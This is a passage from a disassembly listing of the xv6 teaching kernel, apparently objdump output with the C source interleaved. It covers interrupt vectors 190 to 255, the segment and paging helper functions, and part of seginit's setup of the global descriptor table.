801077e6: 6a 00 push $0x0
pushl $190
801077e8: 68 be 00 00 00 push $0xbe
jmp alltraps
801077ed: e9 1a f2 ff ff jmp 80106a0c <alltraps>
801077f2 <vector191>:
.globl vector191
vector191:
pushl $0
801077f2: 6a 00 push $0x0
pushl $191
801077f4: 68 bf 00 00 00 push $0xbf
jmp alltraps
801077f9: e9 0e f2 ff ff jmp 80106a0c <alltraps>
801077fe <vector192>:
.globl vector192
vector192:
pushl $0
801077fe: 6a 00 push $0x0
pushl $192
80107800: 68 c0 00 00 00 push $0xc0
jmp alltraps
80107805: e9 02 f2 ff ff jmp 80106a0c <alltraps>
8010780a <vector193>:
.globl vector193
vector193:
pushl $0
8010780a: 6a 00 push $0x0
pushl $193
8010780c: 68 c1 00 00 00 push $0xc1
jmp alltraps
80107811: e9 f6 f1 ff ff jmp 80106a0c <alltraps>
80107816 <vector194>:
.globl vector194
vector194:
pushl $0
80107816: 6a 00 push $0x0
pushl $194
80107818: 68 c2 00 00 00 push $0xc2
jmp alltraps
8010781d: e9 ea f1 ff ff jmp 80106a0c <alltraps>
80107822 <vector195>:
.globl vector195
vector195:
pushl $0
80107822: 6a 00 push $0x0
pushl $195
80107824: 68 c3 00 00 00 push $0xc3
jmp alltraps
80107829: e9 de f1 ff ff jmp 80106a0c <alltraps>
8010782e <vector196>:
.globl vector196
vector196:
pushl $0
8010782e: 6a 00 push $0x0
pushl $196
80107830: 68 c4 00 00 00 push $0xc4
jmp alltraps
80107835: e9 d2 f1 ff ff jmp 80106a0c <alltraps>
8010783a <vector197>:
.globl vector197
vector197:
pushl $0
8010783a: 6a 00 push $0x0
pushl $197
8010783c: 68 c5 00 00 00 push $0xc5
jmp alltraps
80107841: e9 c6 f1 ff ff jmp 80106a0c <alltraps>
80107846 <vector198>:
.globl vector198
vector198:
pushl $0
80107846: 6a 00 push $0x0
pushl $198
80107848: 68 c6 00 00 00 push $0xc6
jmp alltraps
8010784d: e9 ba f1 ff ff jmp 80106a0c <alltraps>
80107852 <vector199>:
.globl vector199
vector199:
pushl $0
80107852: 6a 00 push $0x0
pushl $199
80107854: 68 c7 00 00 00 push $0xc7
jmp alltraps
80107859: e9 ae f1 ff ff jmp 80106a0c <alltraps>
8010785e <vector200>:
.globl vector200
vector200:
pushl $0
8010785e: 6a 00 push $0x0
pushl $200
80107860: 68 c8 00 00 00 push $0xc8
jmp alltraps
80107865: e9 a2 f1 ff ff jmp 80106a0c <alltraps>
8010786a <vector201>:
.globl vector201
vector201:
pushl $0
8010786a: 6a 00 push $0x0
pushl $201
8010786c: 68 c9 00 00 00 push $0xc9
jmp alltraps
80107871: e9 96 f1 ff ff jmp 80106a0c <alltraps>
80107876 <vector202>:
.globl vector202
vector202:
pushl $0
80107876: 6a 00 push $0x0
pushl $202
80107878: 68 ca 00 00 00 push $0xca
jmp alltraps
8010787d: e9 8a f1 ff ff jmp 80106a0c <alltraps>
80107882 <vector203>:
.globl vector203
vector203:
pushl $0
80107882: 6a 00 push $0x0
pushl $203
80107884: 68 cb 00 00 00 push $0xcb
jmp alltraps
80107889: e9 7e f1 ff ff jmp 80106a0c <alltraps>
8010788e <vector204>:
.globl vector204
vector204:
pushl $0
8010788e: 6a 00 push $0x0
pushl $204
80107890: 68 cc 00 00 00 push $0xcc
jmp alltraps
80107895: e9 72 f1 ff ff jmp 80106a0c <alltraps>
8010789a <vector205>:
.globl vector205
vector205:
pushl $0
8010789a: 6a 00 push $0x0
pushl $205
8010789c: 68 cd 00 00 00 push $0xcd
jmp alltraps
801078a1: e9 66 f1 ff ff jmp 80106a0c <alltraps>
801078a6 <vector206>:
.globl vector206
vector206:
pushl $0
801078a6: 6a 00 push $0x0
pushl $206
801078a8: 68 ce 00 00 00 push $0xce
jmp alltraps
801078ad: e9 5a f1 ff ff jmp 80106a0c <alltraps>
801078b2 <vector207>:
.globl vector207
vector207:
pushl $0
801078b2: 6a 00 push $0x0
pushl $207
801078b4: 68 cf 00 00 00 push $0xcf
jmp alltraps
801078b9: e9 4e f1 ff ff jmp 80106a0c <alltraps>
801078be <vector208>:
.globl vector208
vector208:
pushl $0
801078be: 6a 00 push $0x0
pushl $208
801078c0: 68 d0 00 00 00 push $0xd0
jmp alltraps
801078c5: e9 42 f1 ff ff jmp 80106a0c <alltraps>
801078ca <vector209>:
.globl vector209
vector209:
pushl $0
801078ca: 6a 00 push $0x0
pushl $209
801078cc: 68 d1 00 00 00 push $0xd1
jmp alltraps
801078d1: e9 36 f1 ff ff jmp 80106a0c <alltraps>
801078d6 <vector210>:
.globl vector210
vector210:
pushl $0
801078d6: 6a 00 push $0x0
pushl $210
801078d8: 68 d2 00 00 00 push $0xd2
jmp alltraps
801078dd: e9 2a f1 ff ff jmp 80106a0c <alltraps>
801078e2 <vector211>:
.globl vector211
vector211:
pushl $0
801078e2: 6a 00 push $0x0
pushl $211
801078e4: 68 d3 00 00 00 push $0xd3
jmp alltraps
801078e9: e9 1e f1 ff ff jmp 80106a0c <alltraps>
801078ee <vector212>:
.globl vector212
vector212:
pushl $0
801078ee: 6a 00 push $0x0
pushl $212
801078f0: 68 d4 00 00 00 push $0xd4
jmp alltraps
801078f5: e9 12 f1 ff ff jmp 80106a0c <alltraps>
801078fa <vector213>:
.globl vector213
vector213:
pushl $0
801078fa: 6a 00 push $0x0
pushl $213
801078fc: 68 d5 00 00 00 push $0xd5
jmp alltraps
80107901: e9 06 f1 ff ff jmp 80106a0c <alltraps>
80107906 <vector214>:
.globl vector214
vector214:
pushl $0
80107906: 6a 00 push $0x0
pushl $214
80107908: 68 d6 00 00 00 push $0xd6
jmp alltraps
8010790d: e9 fa f0 ff ff jmp 80106a0c <alltraps>
80107912 <vector215>:
.globl vector215
vector215:
pushl $0
80107912: 6a 00 push $0x0
pushl $215
80107914: 68 d7 00 00 00 push $0xd7
jmp alltraps
80107919: e9 ee f0 ff ff jmp 80106a0c <alltraps>
8010791e <vector216>:
.globl vector216
vector216:
pushl $0
8010791e: 6a 00 push $0x0
pushl $216
80107920: 68 d8 00 00 00 push $0xd8
jmp alltraps
80107925: e9 e2 f0 ff ff jmp 80106a0c <alltraps>
8010792a <vector217>:
.globl vector217
vector217:
pushl $0
8010792a: 6a 00 push $0x0
pushl $217
8010792c: 68 d9 00 00 00 push $0xd9
jmp alltraps
80107931: e9 d6 f0 ff ff jmp 80106a0c <alltraps>
80107936 <vector218>:
.globl vector218
vector218:
pushl $0
80107936: 6a 00 push $0x0
pushl $218
80107938: 68 da 00 00 00 push $0xda
jmp alltraps
8010793d: e9 ca f0 ff ff jmp 80106a0c <alltraps>
80107942 <vector219>:
.globl vector219
vector219:
pushl $0
80107942: 6a 00 push $0x0
pushl $219
80107944: 68 db 00 00 00 push $0xdb
jmp alltraps
80107949: e9 be f0 ff ff jmp 80106a0c <alltraps>
8010794e <vector220>:
.globl vector220
vector220:
pushl $0
8010794e: 6a 00 push $0x0
pushl $220
80107950: 68 dc 00 00 00 push $0xdc
jmp alltraps
80107955: e9 b2 f0 ff ff jmp 80106a0c <alltraps>
8010795a <vector221>:
.globl vector221
vector221:
pushl $0
8010795a: 6a 00 push $0x0
pushl $221
8010795c: 68 dd 00 00 00 push $0xdd
jmp alltraps
80107961: e9 a6 f0 ff ff jmp 80106a0c <alltraps>
80107966 <vector222>:
.globl vector222
vector222:
pushl $0
80107966: 6a 00 push $0x0
pushl $222
80107968: 68 de 00 00 00 push $0xde
jmp alltraps
8010796d: e9 9a f0 ff ff jmp 80106a0c <alltraps>
80107972 <vector223>:
.globl vector223
vector223:
pushl $0
80107972: 6a 00 push $0x0
pushl $223
80107974: 68 df 00 00 00 push $0xdf
jmp alltraps
80107979: e9 8e f0 ff ff jmp 80106a0c <alltraps>
8010797e <vector224>:
.globl vector224
vector224:
pushl $0
8010797e: 6a 00 push $0x0
pushl $224
80107980: 68 e0 00 00 00 push $0xe0
jmp alltraps
80107985: e9 82 f0 ff ff jmp 80106a0c <alltraps>
8010798a <vector225>:
.globl vector225
vector225:
pushl $0
8010798a: 6a 00 push $0x0
pushl $225
8010798c: 68 e1 00 00 00 push $0xe1
jmp alltraps
80107991: e9 76 f0 ff ff jmp 80106a0c <alltraps>
80107996 <vector226>:
.globl vector226
vector226:
pushl $0
80107996: 6a 00 push $0x0
pushl $226
80107998: 68 e2 00 00 00 push $0xe2
jmp alltraps
8010799d: e9 6a f0 ff ff jmp 80106a0c <alltraps>
801079a2 <vector227>:
.globl vector227
vector227:
pushl $0
801079a2: 6a 00 push $0x0
pushl $227
801079a4: 68 e3 00 00 00 push $0xe3
jmp alltraps
801079a9: e9 5e f0 ff ff jmp 80106a0c <alltraps>
801079ae <vector228>:
.globl vector228
vector228:
pushl $0
801079ae: 6a 00 push $0x0
pushl $228
801079b0: 68 e4 00 00 00 push $0xe4
jmp alltraps
801079b5: e9 52 f0 ff ff jmp 80106a0c <alltraps>
801079ba <vector229>:
.globl vector229
vector229:
pushl $0
801079ba: 6a 00 push $0x0
pushl $229
801079bc: 68 e5 00 00 00 push $0xe5
jmp alltraps
801079c1: e9 46 f0 ff ff jmp 80106a0c <alltraps>
801079c6 <vector230>:
.globl vector230
vector230:
pushl $0
801079c6: 6a 00 push $0x0
pushl $230
801079c8: 68 e6 00 00 00 push $0xe6
jmp alltraps
801079cd: e9 3a f0 ff ff jmp 80106a0c <alltraps>
801079d2 <vector231>:
.globl vector231
vector231:
pushl $0
801079d2: 6a 00 push $0x0
pushl $231
801079d4: 68 e7 00 00 00 push $0xe7
jmp alltraps
801079d9: e9 2e f0 ff ff jmp 80106a0c <alltraps>
801079de <vector232>:
.globl vector232
vector232:
pushl $0
801079de: 6a 00 push $0x0
pushl $232
801079e0: 68 e8 00 00 00 push $0xe8
jmp alltraps
801079e5: e9 22 f0 ff ff jmp 80106a0c <alltraps>
801079ea <vector233>:
.globl vector233
vector233:
pushl $0
801079ea: 6a 00 push $0x0
pushl $233
801079ec: 68 e9 00 00 00 push $0xe9
jmp alltraps
801079f1: e9 16 f0 ff ff jmp 80106a0c <alltraps>
801079f6 <vector234>:
.globl vector234
vector234:
pushl $0
801079f6: 6a 00 push $0x0
pushl $234
801079f8: 68 ea 00 00 00 push $0xea
jmp alltraps
801079fd: e9 0a f0 ff ff jmp 80106a0c <alltraps>
80107a02 <vector235>:
.globl vector235
vector235:
pushl $0
80107a02: 6a 00 push $0x0
pushl $235
80107a04: 68 eb 00 00 00 push $0xeb
jmp alltraps
80107a09: e9 fe ef ff ff jmp 80106a0c <alltraps>
80107a0e <vector236>:
.globl vector236
vector236:
pushl $0
80107a0e: 6a 00 push $0x0
pushl $236
80107a10: 68 ec 00 00 00 push $0xec
jmp alltraps
80107a15: e9 f2 ef ff ff jmp 80106a0c <alltraps>
80107a1a <vector237>:
.globl vector237
vector237:
pushl $0
80107a1a: 6a 00 push $0x0
pushl $237
80107a1c: 68 ed 00 00 00 push $0xed
jmp alltraps
80107a21: e9 e6 ef ff ff jmp 80106a0c <alltraps>
80107a26 <vector238>:
.globl vector238
vector238:
pushl $0
80107a26: 6a 00 push $0x0
pushl $238
80107a28: 68 ee 00 00 00 push $0xee
jmp alltraps
80107a2d: e9 da ef ff ff jmp 80106a0c <alltraps>
80107a32 <vector239>:
.globl vector239
vector239:
pushl $0
80107a32: 6a 00 push $0x0
pushl $239
80107a34: 68 ef 00 00 00 push $0xef
jmp alltraps
80107a39: e9 ce ef ff ff jmp 80106a0c <alltraps>
80107a3e <vector240>:
.globl vector240
vector240:
pushl $0
80107a3e: 6a 00 push $0x0
pushl $240
80107a40: 68 f0 00 00 00 push $0xf0
jmp alltraps
80107a45: e9 c2 ef ff ff jmp 80106a0c <alltraps>
80107a4a <vector241>:
.globl vector241
vector241:
pushl $0
80107a4a: 6a 00 push $0x0
pushl $241
80107a4c: 68 f1 00 00 00 push $0xf1
jmp alltraps
80107a51: e9 b6 ef ff ff jmp 80106a0c <alltraps>
80107a56 <vector242>:
.globl vector242
vector242:
pushl $0
80107a56: 6a 00 push $0x0
pushl $242
80107a58: 68 f2 00 00 00 push $0xf2
jmp alltraps
80107a5d: e9 aa ef ff ff jmp 80106a0c <alltraps>
80107a62 <vector243>:
.globl vector243
vector243:
pushl $0
80107a62: 6a 00 push $0x0
pushl $243
80107a64: 68 f3 00 00 00 push $0xf3
jmp alltraps
80107a69: e9 9e ef ff ff jmp 80106a0c <alltraps>
80107a6e <vector244>:
.globl vector244
vector244:
pushl $0
80107a6e: 6a 00 push $0x0
pushl $244
80107a70: 68 f4 00 00 00 push $0xf4
jmp alltraps
80107a75: e9 92 ef ff ff jmp 80106a0c <alltraps>
80107a7a <vector245>:
.globl vector245
vector245:
pushl $0
80107a7a: 6a 00 push $0x0
pushl $245
80107a7c: 68 f5 00 00 00 push $0xf5
jmp alltraps
80107a81: e9 86 ef ff ff jmp 80106a0c <alltraps>
80107a86 <vector246>:
.globl vector246
vector246:
pushl $0
80107a86: 6a 00 push $0x0
pushl $246
80107a88: 68 f6 00 00 00 push $0xf6
jmp alltraps
80107a8d: e9 7a ef ff ff jmp 80106a0c <alltraps>
80107a92 <vector247>:
.globl vector247
vector247:
pushl $0
80107a92: 6a 00 push $0x0
pushl $247
80107a94: 68 f7 00 00 00 push $0xf7
jmp alltraps
80107a99: e9 6e ef ff ff jmp 80106a0c <alltraps>
80107a9e <vector248>:
.globl vector248
vector248:
pushl $0
80107a9e: 6a 00 push $0x0
pushl $248
80107aa0: 68 f8 00 00 00 push $0xf8
jmp alltraps
80107aa5: e9 62 ef ff ff jmp 80106a0c <alltraps>
80107aaa <vector249>:
.globl vector249
vector249:
pushl $0
80107aaa: 6a 00 push $0x0
pushl $249
80107aac: 68 f9 00 00 00 push $0xf9
jmp alltraps
80107ab1: e9 56 ef ff ff jmp 80106a0c <alltraps>
80107ab6 <vector250>:
.globl vector250
vector250:
pushl $0
80107ab6: 6a 00 push $0x0
pushl $250
80107ab8: 68 fa 00 00 00 push $0xfa
jmp alltraps
80107abd: e9 4a ef ff ff jmp 80106a0c <alltraps>
80107ac2 <vector251>:
.globl vector251
vector251:
pushl $0
80107ac2: 6a 00 push $0x0
pushl $251
80107ac4: 68 fb 00 00 00 push $0xfb
jmp alltraps
80107ac9: e9 3e ef ff ff jmp 80106a0c <alltraps>
80107ace <vector252>:
.globl vector252
vector252:
pushl $0
80107ace: 6a 00 push $0x0
pushl $252
80107ad0: 68 fc 00 00 00 push $0xfc
jmp alltraps
80107ad5: e9 32 ef ff ff jmp 80106a0c <alltraps>
80107ada <vector253>:
.globl vector253
vector253:
pushl $0
80107ada: 6a 00 push $0x0
pushl $253
80107adc: 68 fd 00 00 00 push $0xfd
jmp alltraps
80107ae1: e9 26 ef ff ff jmp 80106a0c <alltraps>
80107ae6 <vector254>:
.globl vector254
vector254:
pushl $0
80107ae6: 6a 00 push $0x0
pushl $254
80107ae8: 68 fe 00 00 00 push $0xfe
jmp alltraps
80107aed: e9 1a ef ff ff jmp 80106a0c <alltraps>
80107af2 <vector255>:
.globl vector255
vector255:
pushl $0
80107af2: 6a 00 push $0x0
pushl $255
80107af4: 68 ff 00 00 00 push $0xff
jmp alltraps
80107af9: e9 0e ef ff ff jmp 80106a0c <alltraps>
80107afe: 66 90 xchg %ax,%ax
80107b00 <lgdt>:
struct segdesc;
static inline void
lgdt(struct segdesc *p, int size)
{
80107b00: 55 push %ebp
80107b01: 89 e5 mov %esp,%ebp
80107b03: 83 ec 10 sub $0x10,%esp
volatile ushort pd[3];
pd[0] = size-1;
80107b06: 8b 45 0c mov 0xc(%ebp),%eax
80107b09: 83 e8 01 sub $0x1,%eax
80107b0c: 66 89 45 fa mov %ax,-0x6(%ebp)
pd[1] = (uint)p;
80107b10: 8b 45 08 mov 0x8(%ebp),%eax
80107b13: 66 89 45 fc mov %ax,-0x4(%ebp)
pd[2] = (uint)p >> 16;
80107b17: 8b 45 08 mov 0x8(%ebp),%eax
80107b1a: c1 e8 10 shr $0x10,%eax
80107b1d: 66 89 45 fe mov %ax,-0x2(%ebp)
asm volatile("lgdt (%0)" : : "r" (pd));
80107b21: 8d 45 fa lea -0x6(%ebp),%eax
80107b24: 0f 01 10 lgdtl (%eax)
}
80107b27: c9 leave
80107b28: c3 ret
80107b29 <ltr>:
asm volatile("lidt (%0)" : : "r" (pd));
}
static inline void
ltr(ushort sel)
{
80107b29: 55 push %ebp
80107b2a: 89 e5 mov %esp,%ebp
80107b2c: 83 ec 04 sub $0x4,%esp
80107b2f: 8b 45 08 mov 0x8(%ebp),%eax
80107b32: 66 89 45 fc mov %ax,-0x4(%ebp)
asm volatile("ltr %0" : : "r" (sel));
80107b36: 0f b7 45 fc movzwl -0x4(%ebp),%eax
80107b3a: 0f 00 d8 ltr %ax
}
80107b3d: c9 leave
80107b3e: c3 ret
80107b3f <loadgs>:
return eflags;
}
static inline void
loadgs(ushort v)
{
80107b3f: 55 push %ebp
80107b40: 89 e5 mov %esp,%ebp
80107b42: 83 ec 04 sub $0x4,%esp
80107b45: 8b 45 08 mov 0x8(%ebp),%eax
80107b48: 66 89 45 fc mov %ax,-0x4(%ebp)
asm volatile("movw %0, %%gs" : : "r" (v));
80107b4c: 0f b7 45 fc movzwl -0x4(%ebp),%eax
80107b50: 8e e8 mov %eax,%gs
}
80107b52: c9 leave
80107b53: c3 ret
80107b54 <lcr3>:
return val;
}
static inline void
lcr3(uint val)
{
80107b54: 55 push %ebp
80107b55: 89 e5 mov %esp,%ebp
asm volatile("movl %0,%%cr3" : : "r" (val));
80107b57: 8b 45 08 mov 0x8(%ebp),%eax
80107b5a: 0f 22 d8 mov %eax,%cr3
}
80107b5d: 5d pop %ebp
80107b5e: c3 ret
80107b5f <v2p>:
#define KERNBASE 0x80000000 // First kernel virtual address
#define KERNLINK (KERNBASE+EXTMEM) // Address where kernel is linked
#ifndef __ASSEMBLER__
static inline uint v2p(void *a) { return ((uint) (a)) - KERNBASE; }
80107b5f: 55 push %ebp
80107b60: 89 e5 mov %esp,%ebp
80107b62: 8b 45 08 mov 0x8(%ebp),%eax
80107b65: 05 00 00 00 80 add $0x80000000,%eax
80107b6a: 5d pop %ebp
80107b6b: c3 ret
80107b6c <p2v>:
static inline void *p2v(uint a) { return (void *) ((a) + KERNBASE); }
80107b6c: 55 push %ebp
80107b6d: 89 e5 mov %esp,%ebp
80107b6f: 8b 45 08 mov 0x8(%ebp),%eax
80107b72: 05 00 00 00 80 add $0x80000000,%eax
80107b77: 5d pop %ebp
80107b78: c3 ret
80107b79 <seginit>:
// Set up CPU's kernel segment descriptors.
// Run once on entry on each CPU.
void
seginit(void)
{
80107b79: 55 push %ebp
80107b7a: 89 e5 mov %esp,%ebp
80107b7c: 53 push %ebx
80107b7d: 83 ec 24 sub $0x24,%esp
// Map "logical" addresses to virtual addresses using identity map.
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
80107b80: e8 fc b2 ff ff call 80102e81 <cpunum>
80107b85: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax
80107b8b: 05 80 33 11 80 add $0x80113380,%eax
80107b90: 89 45 f4 mov %eax,-0xc(%ebp)
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
80107b93: 8b 45 f4 mov -0xc(%ebp),%eax
80107b96: 66 c7 40 78 ff ff movw $0xffff,0x78(%eax)
80107b9c: 8b 45 f4 mov -0xc(%ebp),%eax
80107b9f: 66 c7 40 7a 00 00 movw $0x0,0x7a(%eax)
80107ba5: 8b 45 f4 mov -0xc(%ebp),%eax
80107ba8: c6 40 7c 00 movb $0x0,0x7c(%eax)
80107bac: 8b 45 f4 mov -0xc(%ebp),%eax
80107baf: 0f b6 50 7d movzbl 0x7d(%eax),%edx
80107bb3: 83 e2 f0 and $0xfffffff0,%edx
80107bb6: 83 ca 0a or $0xa,%edx
80107bb9: 88 50 7d mov %dl,0x7d(%eax)
80107bbc: 8b 45 f4 mov -0xc(%ebp),%eax
80107bbf: 0f b6 50 7d movzbl 0x7d(%eax),%edx
80107bc3: 83 ca 10 or $0x10,%edx
80107bc6: 88 50 7d mov %dl,0x7d(%eax)
80107bc9: 8b 45 f4 mov -0xc(%ebp),%eax
80107bcc: 0f b6 50 7d movzbl 0x7d(%eax),%edx
80107bd0: 83 e2 9f and $0xffffff9f,%edx
80107bd3: 88 50 7d mov %dl,0x7d(%eax)
80107bd6: 8b 45 f4 mov -0xc(%ebp),%eax
80107bd9: 0f b6 50 7d movzbl 0x7d(%eax),%edx
80107bdd: 83 ca 80 or $0xffffff80,%edx
80107be0: 88 50 7d mov %dl,0x7d(%eax)
80107be3: 8b 45 f4 mov -0xc(%ebp),%eax
80107be6: 0f b6 50 7e movzbl 0x7e(%eax),%edx
80107bea: 83 ca 0f or $0xf,%edx
80107bed: 88 50 7e mov %dl,0x7e(%eax)
80107bf0: 8b 45 f4 mov -0xc(%ebp),%eax
80107bf3: 0f b6 50 7e movzbl 0x7e(%eax),%edx
80107bf7: 83 e2 ef and $0xffffffef,%edx
80107bfa: 88 50 7e mov %dl,0x7e(%eax)
80107bfd: 8b 45 f4 mov -0xc(%ebp),%eax
80107c00: 0f b6 50 7e movzbl 0x7e(%eax),%edx
80107c04: 83 e2 df and $0xffffffdf,%edx
80107c07: 88 50 7e mov %dl,0x7e(%eax)
80107c0a: 8b 45 f4 mov -0xc(%ebp),%eax
80107c0d: 0f b6 50 7e movzbl 0x7e(%eax),%edx
80107c11: 83 ca 40 or $0x40,%edx
80107c14: 88 50 7e mov %dl,0x7e(%eax)
80107c17: 8b 45 f4 mov -0xc(%ebp),%eax
80107c1a: 0f b6 50 7e movzbl 0x7e(%eax),%edx
80107c1e: 83 ca 80 or $0xffffff80,%edx
80107c21: 88 50 7e mov %dl,0x7e(%eax)
80107c24: 8b 45 f4 mov -0xc(%ebp),%eax
80107c27: c6 40 7f 00 movb $0x0,0x7f(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
80107c2b: 8b 45 f4 mov -0xc(%ebp),%eax
80107c2e: 66 c7 80 80 00 00 00 movw $0xffff,0x80(%eax)
80107c35: ff ff
80107c37: 8b 45 f4 mov -0xc(%ebp),%eax
80107c3a: 66 c7 80 82 00 00 00 movw $0x0,0x82(%eax)
80107c41: 00 00
80107c43: 8b 45 f4 mov -0xc(%ebp),%eax
80107c46: c6 80 84 00 00 00 00 movb $0x0,0x84(%eax)
80107c4d: 8b 45 f4 mov -0xc(%ebp),%eax
80107c50: 0f b6 90 85 00 00 00 movzbl 0x85(%eax),%edx
80107c57: 83 e2 f0 and $0xfffffff0,%edx
80107c5a: 83 ca 02 or $0x2,%edx
80107c5d: 88 90 85 00 00 00 mov %dl,0x85(%eax)
80107c63: 8b 45 f4 mov -0xc(%ebp),%eax
80107c66: 0f b6 90 85 00 00 00 movzbl 0x85(%eax),%edx
80107c6d: 83 ca 10 or $0x10,%edx
80107c70: 88 90 85 00 00 00 mov %dl,0x85(%eax)
80107c76: 8b 45 f4 mov -0xc(%ebp),%eax
80107c79: 0f b6 90 85 00 00 00 movzbl 0x85(%eax),%edx
80107c80: 83 e2 9f and $0xffffff9f,%edx
80107c83: 88 90 85 00 00 00 mov %dl,0x85(%eax)
80107c89: 8b 45 f4 mov -0xc(%ebp),%eax
80107c8c: 0f b6 90 85 00 00 00 movzbl 0x85(%eax),%edx
80107c93: 83 ca 80 or $0xffffff80,%edx
80107c96: 88 90 85 00 00 00 mov %dl,0x85(%eax)
80107c9c: 8b 45 f4 mov -0xc(%ebp),%eax
80107c9f: 0f b6 90 86 00 00 00 movzbl 0x86(%eax),%edx
80107ca6: 83 ca 0f or $0xf,%edx
80107ca9: 88 90 86 00 00 00 mov %dl,0x86(%eax)
80107caf: 8b 45 f4 mov -0xc(%ebp),%eax
80107cb2: 0f b6 90 86 00 00 00 movzbl 0x86(%eax),%edx
80107cb9: 83 e2 ef and $0xffffffef,%edx
80107cbc: 88 90 86 00 00 00 mov %dl,0x86(%eax)
80107cc2: 8b 45 f4 mov -0xc(%ebp),%eax
80107cc5: 0f b6 90 86 00 00 00 movzbl 0x86(%eax),%edx
80107ccc: 83 e2 df and $0xffffffdf,%edx
80107ccf: 88 90 86 00 00 00 mov %dl,0x86(%eax)
80107cd5: 8b 45 f4 mov -0xc(%ebp),%eax
80107cd8: 0f b6 90 86 00 00 00 movzbl 0x86(%eax),%edx
80107cdf: 83 ca 40 or $0x40,%edx
80107ce2: 88 90 86 00 00 00 mov %dl,0x86(%eax)
80107ce8: 8b 45 f4 mov -0xc(%ebp),%eax
80107ceb: 0f b6 90 86 00 00 00 movzbl 0x86(%eax),%edx
80107cf2: 83 ca 80 or $0xffffff80,%edx
80107cf5: 88 90 86 00 00 00 mov %dl,0x86(%eax)
80107cfb: 8b 45 f4 mov -0xc(%ebp),%eax
80107cfe: c6 80 87 00 00 00 00 movb $0x0,0x87(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
80107d05: 8b 45 f4 mov -0xc(%ebp),%eax
80107d08: 66 c7 80 90 00 00 00 movw $0xffff,0x90(%eax)
80107d0f: ff ff
80107d11: 8b 45 f4 mov -0xc(%ebp),%eax
80107d14: 66 c7 80 92 00 00 00 movw $0x0,0x92(%eax)
80107d1b: 00 00
80107d1d: 8b 45 f4 mov -0xc(%ebp),%eax
80107d20: c6 80 94 00 00 00 00 movb $0x0,0x94(%eax)
80107d27: 8b 45 f4 mov -0xc(%ebp),%eax
80107d2a: 0f b6 90 95 00 00 00 movzbl 0x95(%eax),%edx
80107d31: 83 e2 f0 and $0xfffffff0,%edx
80107d34: 83 ca 0a or $0xa,%edx
80107d37: 88 90 95 00 00 00 mov %dl,0x95(%eax)
80107d3d: 8b 45 f4 mov -0xc(%ebp),%eax
80107d40: 0f b6 90 95 00 00 00 movzbl 0x95(%eax),%edx
80107d47: 83 ca 10 or $0x10,%edx
80107d4a: 88 90 95 00 00 00 mov %dl,0x95(%eax)
80107d50: 8b 45 f4 mov -0xc(%ebp),%eax
80107d53: 0f b6 90 95 00 00 00 movzbl 0x95(%eax),%edx
80107d5a: 83 ca 60 or $0x60,%edx
80107d5d: 88 90 95 00 00 00 mov %dl,0x95(%eax)
80107d63: 8b 45 f4 mov -0xc(%ebp),%eax
80107d66: 0f b6 90 95 00 00 00 movzbl 0x95(%eax),%edx
80107d6d: 83 ca 80 or $0xffffff80,%edx
80107d70: 88 90 95 00 00 00 mov %dl,0x95(%eax)
80107d76: 8b 45 f4 mov -0xc(%ebp),%eax
80107d79: 0f b6 90 96 00 00 00 movzbl 0x96(%eax),%edx
80107d80: 83 ca 0f or $0xf,%edx
80107d83: 88 90 96 00 00 00 mov %dl,0x96(%eax)
80107d89: 8b 45 f4 mov -0xc(%ebp),%eax
80107d8c: 0f b6 90 96 00 00 00 movzbl 0x96(%eax),%edx
80107d93: 83 e2 ef and $0xffffffef,%edx
80107d96: 88 90 96 00 00 00 mov %dl,0x96(%eax)
80107d9c: 8b 45 f4 mov -0xc(%ebp),%eax
80107d9f: 0f b6 90 96 00 00 00 movzbl 0x96(%eax),%edx
80107da6: 83 e2 df and $0xffffffdf,%edx
80107da9: 88 90 96 00 00 00 mov %dl,0x96(%eax)
80107daf: 8b 45 f4 mov -0xc(%ebp),%eax
80107db2: 0f b6 90 96 00 00 00 movzbl 0x96(%eax),%edx
80107db9: 83 ca 40 or $0x40,%edx
80107dbc: 88 90 96 00 00 00 mov %dl,0x96(%eax)
80107dc2: 8b 45 f4 mov -0xc(%ebp),%eax
80107dc5: 0f b6 90 96 00 00 00 movzbl 0x96(%eax),%edx
80107dcc: 83 ca 80 or $0xffffff80,%edx
80107dcf: 88 90 96 00 00 00 mov %dl,0x96(%eax)
80107dd5: 8b 45 f4 mov -0xc(%ebp),%eax
80107dd8: c6 80 97 00 00 00 00 movb $0x0,0x97(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
80107ddf: 8b 45 f4 mov -0xc(%ebp),%eax
80107de2: 66 c7 80 98 00 00 00 movw $0xffff,0x98(%eax)
80107de9: ff ff
80107deb: 8b 45 f4 mov -0xc(%ebp),%eax
80107dee: 66 c7 80 9a 00 00 00 movw $0x0,0x9a(%eax)
80107df5: 00 00
80107df7: 8b 45 f4 mov -0xc(%ebp),%eax
80107dfa: c6 80 9c 00 00 00 00 movb $0x0,0x9c(%eax)
80107e01: 8b 45 f4 mov -0xc(%ebp),%eax
80107e04: 0f b6 90 9d 00 00 00 movzbl 0x9d(%eax),%edx
80107e0b: 83 e2 f0 and $0xfffffff0,%edx
80107e0e: 83 ca 02 or $0x2,%edx
80107e11: 88 90 9d 00 00 00 mov %dl,0x9d(%eax)
80107e17: 8b 45 f4 mov -0xc(%ebp),%eax
80107e1a: 0f b6 90 9d 00 00 00 movzbl 0x9d(%eax),%edx
80107e21: 83 ca 10 or $0x10,%edx
80107e24: 88 90 9d 00 00 00 mov %dl,0x9d(%eax)
80107e2a: 8b 45 f4 mov -0xc(%ebp),%eax
80107e2d: 0f b6 90 9d 00 00 00 movzbl 0x9d(%eax),%edx
80107e34: 83 ca 60 or $0x60,%edx
80107e37: 88 90 9d 00 00 00 mov %dl,0x9d(%eax)
80107e3d: 8b 45 f4 mov -0xc(%ebp),%eax
80107e40: 0f b6 90 9d 00 00 00 movzbl 0x9d(%eax),%edx
80107e47: 83 ca 80 or $0xffffff80,%edx
80107e4a: 88 90 9d 00 00 00 mov %dl,0x9d(%eax)
80107e50: 8b 45 f4 mov -0xc(%ebp),%eax
80107e53: 0f b6 90 9e 00 00 00 movzbl 0x9e(%eax),%edx
